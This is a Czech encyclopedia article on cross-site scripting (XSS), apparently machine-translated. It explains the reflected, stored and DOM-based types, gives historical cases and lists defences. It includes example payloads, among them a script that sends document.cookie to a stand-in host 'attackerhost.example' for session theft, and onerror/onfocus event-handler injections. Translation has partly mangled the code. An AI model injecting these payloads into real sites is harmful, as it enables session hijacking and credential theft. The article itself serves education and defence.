Skriptování napříč weby

Aktuální verze stránky ještě nebyla zkontrolována zkušenými přispěvateli a může se výrazně lišit od verze recenzované 3. prosince 2021; kontroly vyžadují 6 úprav .

XSS ( anglicky  Cross-Site Scripting  - "cross -site scripting ") - typ útoku na webové systémy , který spočívá ve vnesení škodlivého kódu na stránku vydanou webovým systémem (který bude spuštěn na počítači uživatele při jeho otevření ). tato stránka) a interakce tohoto kódu s webovým serverem útočníka. Je to varianta útoku Code Injection .

Specifikem takových útoků je, že škodlivý kód může využít autorizaci uživatele ve webovém systému k získání rozšířeného přístupu k němu nebo k získání autorizačních dat uživatele. Škodlivý kód lze do stránky vložit buď prostřednictvím zranitelnosti webového serveru, nebo prostřednictvím zranitelnosti v počítači uživatele [1] .

Termín je zkrácen jako „XSS“, aby nedošlo k záměně s kaskádovými styly , které používají zkratku „CSS“.

XSS je podle OWASP 2021 [2] na třetím místě v klíčových rizicích webových aplikací . Programátoři jim dlouho nevěnovali náležitou pozornost, považovali je za neškodné. Tento názor je však chybný: na stránce nebo v HTTP cookie mohou být velmi citlivá data (například identifikátor relace správce nebo čísla platebních dokladů) a tam, kde neexistuje ochrana proti CSRF , může útočník provádět jakékoli akce. k dispozici uživateli. K provedení DoS útoku lze použít cross-site skriptování [3] .

Referenční informace

Zabezpečení internetu je vynucováno mnoha mechanismy, včetně důležitého konceptu známého jako pravidlo omezení domény . Toto pravidlo umožňuje skriptům umístěným na stránkách na stejném webu (https://mybank.example.com) vzájemně přistupovat ke svým metodám a vlastnostem bez omezení, ale brání přístupu k většině metod a vlastností pro stránky na jiném webu (https:// othersite .example.com)  (nedostupný odkaz) [4] .

Skriptování mezi stránkami využívá známé zranitelnosti webových aplikací, serverů (nebo s nimi souvisejících systémových pluginů). Pomocí jednoho z nich útočník vloží škodlivý obsah do obsahu již napadeného webu. Výsledkem je, že uživatel obdrží sloučený obsah ve webovém prohlížeči , který byl doručen z důvěryhodného zdroje, a jedná tak podle oprávnění udělených tomuto systému. Po vložení potřebného skriptu do webové stránky může útočník získat zvýšená oprávnění pro práci s webovými stránkami, cookies a dalšími informacemi uloženými v prohlížeči daného uživatele.

Výraz „cross-site scripting“ původně znamenal interakci zranitelné webové aplikace se stránkou útočníka tak, že kód JavaScript připravený útočníkem byl spuštěn v kontextu napadené domény (odražená nebo uložená zranitelnost XSS). Postupně definice začala zahrnovat další způsoby vkládání kódu, včetně použití robustních a ne-JavaScriptových jazyků (jako jsou ActiveX , Java , VBScript , Flash a dokonce i HTML ), což vytvořilo zmatek mezi nováčky v oblasti informační bezpečnosti . [5]

Útokům XSS proti knihovně React JS je do značné míry zabráněno, protože vše je před vykreslením převedeno na řetězce. To zajišťuje, že nikdo nikdy nevloží nic, co nebylo výslovně napsáno vývojářem JS do webové aplikace.

Chyby zabezpečení XSS byly hlášeny a využívány od poloviny 90. let [ 6] . Mezi významné stránky, kterých se to v minulosti týkalo, patří sociální sítě jako Twitter [7] , VKontakte [8] , MySpace [9] , YouTube [10] , Facebook [11] a další.

Klasifikace

Neexistuje žádná jasná klasifikace skriptování mezi weby. Většina odborníků však rozlišuje alespoň dva typy XSS: „odražený“ („odražený XSS“ nebo „Typ 1“) a „uložený“ („uložený XSS“ nebo „Typ 2“) .

Podle vektoru

Odražené (netrvalé)

Odražený útok na zranitelnost je zdaleka nejběžnějším útokem XSS [13] . K těmto chybám zabezpečení dochází, když jsou data poskytovaná webovým klientem, nejčastěji v parametrech požadavku HTTP nebo ve formě HTML , spouštěna přímo skripty na straně serveru k analýze a zobrazení stránky s výsledky pro daného klienta bez řádného zpracování [14] . Odražený útok XSS se spustí, když uživatel klikne na speciálně vytvořený odkaz.

Příklad:

http://example.com/search.php?q= < script > DoSomething ();</ script >

Pokud web neunikne lomeným závorkám tím, že je převede na „ &lt;“ a „ &gt;“, dostaneme skript na stránku s výsledky vyhledávání.

Odražené útoky jsou obvykle zasílány e-mailem nebo zveřejněny na webové stránce. Adresa URL návnady není podezřelá, odkazuje na důvěryhodnou stránku, ale obsahuje vektor XSS. Pokud je důvěryhodný web zranitelný vůči vektoru XSS, může následování odkazu způsobit, že prohlížeč oběti spustí vložený skript.

Uloženo (trvale)

Uložený XSS je nejničivější typ útoku. Uložené XSS je možné, když se útočníkovi podaří vložit škodlivý kód na server, který se spustí v prohlížeči při každém přístupu na původní stránku. Klasickým příkladem této zranitelnosti jsou fóra, kde je povoleno zanechávat komentáře ve formátu HTML bez omezení, stejně jako další weby Web 2.0 (blogy, wiki, imageboardy ), kdy jsou uživatelské texty a obrázky uloženy na serveru. Do těchto textů a obrázků se vkládají skripta.

Fragment kódu pro krádež klíče s ID relace:

< skript > dokument . location = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + doklad . cookie </ script > Modely DOM

XSS v DOM se vyskytuje na straně klienta během zpracování dat uvnitř skriptu JavaScript. Tento typ XSS dostal své jméno, protože je implementován prostřednictvím DOM (Document Object Model)  - platformě a jazykově nezávislém programovacím rozhraní, které umožňuje programům a skriptům přistupovat k obsahu dokumentů HTML a XML, stejně jako měnit obsah, struktura a design takových dokumentů . Při nesprávném filtrování je možné upravit DOM napadeného webu a dosáhnout spuštění kódu JavaScript v kontextu napadeného webu.

Příklad:

< tělo > < skript > dokument . write ( location . href );</ script > </ body >

Příklad XSS DOM je chyba nalezená v roce 2011 v několika pluginech jQuery [15] . Techniky prevence XSS DOM zahrnují opatření, která jsou typická pro tradiční XSS, ale implementovaná v javascriptu a zasílaná na webové stránky – ověření vstupu a prevence útoků [16] . Některé javascriptové frameworky mají vestavěnou obranu proti těmto a dalším typům útoků, jako je AngularJS [17] .

Podle kanálů implementace skriptu

Chyby prohlížeče Když je web opraven kvůli chybě prohlížeče

Bugzilla , 2004 [19] V některých prohlížečích (alespoň Internet Explorer ) při zadávání URL

http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alert('foo');</script>

neexistuje žádné kódování URL a kód

dokument . write ( "<p>URL: " + umístění dokumentu + " </p>" );

vložit skript do stránky.

Kvůli chybám může prohlížeč spouštět skripty v SVG , porušovat pravidlo Same Domain Policy . To jsou vážné chyby; poté, co jsou objeveny, jsou rychle uzavřeny, nicméně během přechodného období se téměř všechny weby Web 2.0 stanou nebezpečnými : fóra, wiki, obrázkové panely. Pokud je taková chyba nalezena, doporučuje se do vydání aktualizace používat jiný prohlížeč.

Existují i ​​jemnější chyby, které se objevují za velmi specifických podmínek a nezpůsobují větší škody. Takové chyby nemusí být opraveny roky a je výhodnější web opravit, než čekat na aktualizaci prohlížeče.

Žádné escapování speciálních znaků HTML Veškerý vlastní text musí být escapován

phpBB , 2002 [20] [21] . Ačkoli je adresa URL obrázku kontrolována podle protokolu (povoleno pouze http:), samotná adresa URL není nijak escapována a řádek jako

[img] http://aa/a "onerror=" javascript:alert(document.cookie)[/img]

můžete do dokumentu přetáhnout vlastní skript.

Chyby na webu jsou mnohem častější. Aby se zajistilo, že prohlížeč nezamění řetězec za značku HTML, je třeba uvést escapování pěti znaků : '"&<>. Serveru nemusí uniknout všechny znaky (známá chyba PHP [22] ), nebo webový programátor jednoduše zapomene uniknout řetězec.

Normálně je text v databázích uložen bez kódování escapování a všechny vlastní řetězce musí být uvozeny pokaždé, když jsou vloženy do HTML: pokud například adresa URL obrázku není kódována , uživatel může zadat něco jako http://example.com/img.png" onmouseover="javascript:DoSomething();.

Mnoho webů umožňuje formátování textu pomocí nějakého značkovacího jazyka ( HTML , BBCode , wiki markup ). Často se neprovádí kompletní lexikální analýza značkovacího jazyka, ale pouze transformace do „bezpečného“ HTML pomocí regulárních výrazů [23] . To zjednodušuje programování, ale vyžaduje důkladné pochopení toho, jak může skript proniknout do výsledného HTML kódu.

Žádné filtrování atributů a jejich hodnot v povolených značkách

Typickým příkladem může být odkaz <a href="javascript:DoSomething()">. I když fórum umožňuje externí odkazy, neměli byste nechat protokoly javascript:a data:.

Jiné útoky nejsou XSS, ale jiné útoky jsou neméně škodlivé: hacker může zadat jako adresu server s úzkým internetovým kanálem, který ochromí jeho práci velkým počtem požadavků, nebo jej použít k uspořádání XSRF útoku.

Změna kódování v záhlaví stránky

Moderní prohlížeče se snaží určit kódování stránky za běhu a interpretovat html podle tohoto kódování. Pokud je značka <title>umístěna před značkou a je vyplněna uživatelskými daty, může hacker vložit škodlivý <meta>html kód kódovaný UTF-7 a obejít tak filtrování znaků, jako <jsou ". Chcete-li se před touto chybou zabezpečení chránit, musíte před libovolnými vlastními poli výslovně zadat kódování stránky. HTML 5 výslovně zakazuje podporu prohlížeče pro kódování UTF-7 jako potenciálně nebezpečné. [24]

Prostřednictvím SQL Injection

Pokud web umožňuje vkládání SQL kódu a zároveň zobrazuje obsah databáze bez jakéhokoli úniku (buď z neznalosti, nebo je v databázi uložen hotový HTML kód, [25] nebo autor bezpečně ví, že existuje nejsou v databázi žádné „špatné“ postavy), můžete provést neobvyklý útok.

Vložením SQL kódu zapíšeme „otrávenou“ stránku do databáze. Pokud někdo získá přístup k tomuto řádku databáze, do jeho prohlížeče vstoupí škodlivý skript. Existují útoky bez uložení HTML v databázi - DBMS místo pole uloženého v databázi vrátí skript, který je napsán v textu požadavku.

Vlivem

Aktivní

Aktivní XSS útok nevyžaduje žádnou akci ze strany uživatele z hlediska funkčnosti webové aplikace.

Příklad:

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

Tento příklad ukazuje vstupní pole, které má obslužnou rutinu události zobrazení fokusu, která provádí skutečný kód útoku, a pro toto vstupní pole je aktivována vlastnost nastavení automatického ostření. Tím se automaticky nastaví fokus, který zavolá obslužný program sady fokusů obsahující útočný kód. Útok je aktivní a je prováděn automaticky, aniž by od uživatele vyžadoval jakoukoliv aktivitu.

Pasivní (autonomní)

Pasivní XSS útok se spustí, když uživatel provede určitou akci (kliknutí nebo přejetí myší atd.).

Příklad:

<a href='a' onmouseover=alert(1337) style='font-size:500px'>

Příklad ukazuje hypertextový odkaz, který zvláštním způsobem upoutá pozornost uživatele a/nebo zabírá značné množství místa, což zvyšuje pravděpodobnost umístění ukazatele myši, v tomto případě velkým písmem. Hypertextový odkaz má obslužnou rutinu události mouseover, která obsahuje kód útoku. Útok je pasivní, protože nic nedělá a útočný kód se při čekání, až uživatel najede na odkaz, nespustí.

Ochranné prostředky

Zabezpečení na straně serveru

  • Kódování řídicích znaků HTML, JavaScriptu, CSS a URL před zobrazením v prohlížeči. K filtrování vstupních parametrů můžete použít následující funkce: filter_sanitize_encoded(pro kódování URL) [27] , htmlentities(pro filtrování HTML) [28] .
  • Kódování vstupních dat. Například pomocí knihoven OWASP Encoding Project [29] , HTML Purifier, htmLawed, Anti-XSS Class.
  • Pravidelná manuální a automatizovaná analýza zabezpečení kódu a penetrační testování. Pomocí nástrojů jako Nessus , Nikto Web Scanner a OWASP Zed Attack Proxy .
  • Zadání kódování na každé webové stránce (například ISO-8859-1 nebo UTF-8 ) před libovolnými vlastními poli [30] .
  • Zajištění zabezpečení souborů cookie , které lze implementovat omezením domény a cesty pro akceptované soubory cookie, nastavením parametru HttpOnly [31] , pomocí SSL [32] .
  • Pomocí hlavičky Content Security Policy , která umožňuje nastavit seznam, do kterého se zadávají požadované zdroje, ze kterých lze načítat různá data, například JS, CSS, obrázky atp.

Zabezpečení na straně klienta

  • Pravidelná aktualizace prohlížeče na novou verzi [18] .
  • Nainstalujte si rozšíření prohlížeče, která budou kontrolovat pole formulářů, adresy URL, JavaScript a požadavky POST , a pokud narazí na skripty, použijte filtry XSS, aby se nespustily. Příklady takových rozšíření jsou NoScript pro FireFox , NotScripts pro Chrome a Opera .

Viz také

Poznámky

  1. 1 2 Jatana1, Nishtha, Agrawal, Adwiteeya, Sobti, Kritika. Post XSS Exploitation: Pokročilé útoky a  nápravy . — S. 9.  (nepřístupný odkaz)
  2. OWASP Top 10  . OWASP . Projekt zabezpečení otevřených webových aplikací (OWASP). Získáno 30. ledna 2022. Archivováno z originálu dne 17. ledna 2020.
  3. Seth Fogie, Jeremiah Grossman, 2007 , pp. 290, 379.
  4. ↑ Stejná politika  původu . W3C. Získáno 18. prosince 2014. Archivováno z originálu 27. ledna 2017.
  5. Grossman, Jeremiáš. Počátky Cross-Site Scripting (XSS) . Získáno 15. prosince 2014. Archivováno z originálu 21. února 2017.  (Angličtina)
  6. Seth Fogie, Jeremiah Grossman, 2007 , str. 3.
  7. Mirkov, Denis. Twitter byl infikován virem . Hacker (21. září 2010). Datum přístupu: 18. prosince 2014. Archivováno z originálu 18. prosince 2014.
  8. Mirkov, Denis. XSS zranitelnosti VKontakte . Hacker (10. března 2011). Datum přístupu: 18. prosince 2014. Archivováno z originálu 18. prosince 2014.
  9. Mirkov, Denis. Web Sla.ckers.org otevřel výběr zranitelností XSS . Hacker (25. září 2006). Datum přístupu: 18. prosince 2014. Archivováno z originálu 18. prosince 2014.
  10. Mirkov, Denis. Několik zranitelností na blogu YouTube . Hacker (23. července 2008). Datum přístupu: 18. prosince 2014. Archivováno z originálu 18. prosince 2014.
  11. Mirkov, Denis. Na Facebooku byla objevena zranitelnost XSS . Hacker (26. května 2008). Datum přístupu: 18. prosince 2014. Archivováno z originálu 18. prosince 2014.
  12. Tyurin, Alexey. Při hledání mezer: průvodce XSS založeným na modelu DOM  // Hacker: Journal. - 2013. - č. 172 . - S. 80-85 .
  13. Paco Hope, Ben Walther, 2008 , str. 128.
  14. ↑ Cross- site Scripting  . Web Application Security Consortium (2005). Datum přístupu: 18. prosince 2014. Archivováno z originálu 1. června 2010.
  15. Chyba jQuery #  9521 . jQuery. Získáno 18. prosince 2014. Archivováno z originálu 30. ledna 2017.
  16. cheat sheet  prevence XSS založený na DOM . Projekt zabezpečení otevřených webových aplikací (OWASP). Datum přístupu: 18. prosince 2014. Archivováno z originálu 28. ledna 2017.
  17. Přísné kontextové  escapování . AngularJS. Datum přístupu: 18. prosince 2014. Archivováno z originálu 10. února 2014.
  18. 1 2 Cross-site Scripting (XSS  ) . Projekt zabezpečení otevřených webových aplikací (OWASP). Datum přístupu: 18. prosince 2014. Archivováno z originálu 22. prosince 2014.
  19. Chyba 272620 - Zranitelnost XSS v interních chybových  zprávách . Bugzilla@Mozilla. Získáno 18. prosince 2014. Archivováno z originálu 30. října 2014.
  20. US-CERT/NIST. Souhrn chyb zabezpečení pro CVE  – 2002-0902  — 2008.
  21. Boerwinkel, Martijn. Chyba zabezpečení Cross Site Scripting v značce IMG a vzdáleném  avataru phpBB2 . seclists.org (26. května 2002). Datum přístupu: 18. prosince 2014. Archivováno z originálu 18. prosince 2014.
  22. Standardní funkce PHP htmlspecialchars standardně neuniká apostrofu a v kombinaci s kódem "<a href='$htUrl'>"to vede k zranitelnosti.
  23. Jednoduchá analýza BBcode v php . Vývoj webu. Datum přístupu: 18. prosince 2014. Archivováno z originálu 18. prosince 2014.
  24. Prvky standardu HTML - HTML  . Web Hypertext Application Technology Working Group (WHATWG). Získáno 18. prosince 2014. Archivováno z originálu dne 21. prosince 2019.
  25. Například engine MediaWiki ukládá HTML kód stránek do mezipaměti.
  26. Kočetkov, Vladimír. Celá pravda o XSS aneb Proč není skriptování mezi stránkami zranitelností? . SecurityLab (8. srpna 2012). Datum přístupu: 18. prosince 2014. Archivováno z originálu 19. prosince 2014.
  27. Čistící filtry . PHP. Datum přístupu: 18. prosince 2014. Archivováno z originálu 19. prosince 2014.
  28. ↑ PHP : htmlentities  . PHP. Datum přístupu: 18. prosince 2014. Archivováno z originálu 19. prosince 2014.
  29. Projekt OWASP Java Encoder . Projekt zabezpečení otevřených webových aplikací (OWASP). Datum přístupu: 18. prosince 2014. Archivováno z originálu 2. listopadu 2014.
  30. Sníh, Johne. Maškaráda postav: bezpečnostní aspekty orientované na unicode  // Hacker: webové stránky. — 2010.
  31. HttpOnly  . _ Projekt zabezpečení otevřených webových aplikací (OWASP). Datum přístupu: 18. prosince 2014. Archivováno z originálu 26. prosince 2008.
  32. Hafner, Robert. Jak vytvořit zcela bezpečné soubory cookie  (anglicky)  : webové stránky. — 2009.

Literatura

  • Seth Fogie , Jeremiah Grossman , Robert Hansen , Anton Rager , Petko D. Petkov. XSS Attacks: Exploitation and Defense = XSS Attacks: Cross Site Scripting Exploits and Defense. - Syngress, 2007. - 464 s. — ISBN 1597491543 .
  • Paco Hope , Ben Walther. Kuchařka pro testování webové bezpečnosti. - O'Reilly Media, 2008. - 314 s. - ISBN 978-0-596-51483-9 .

Odkazy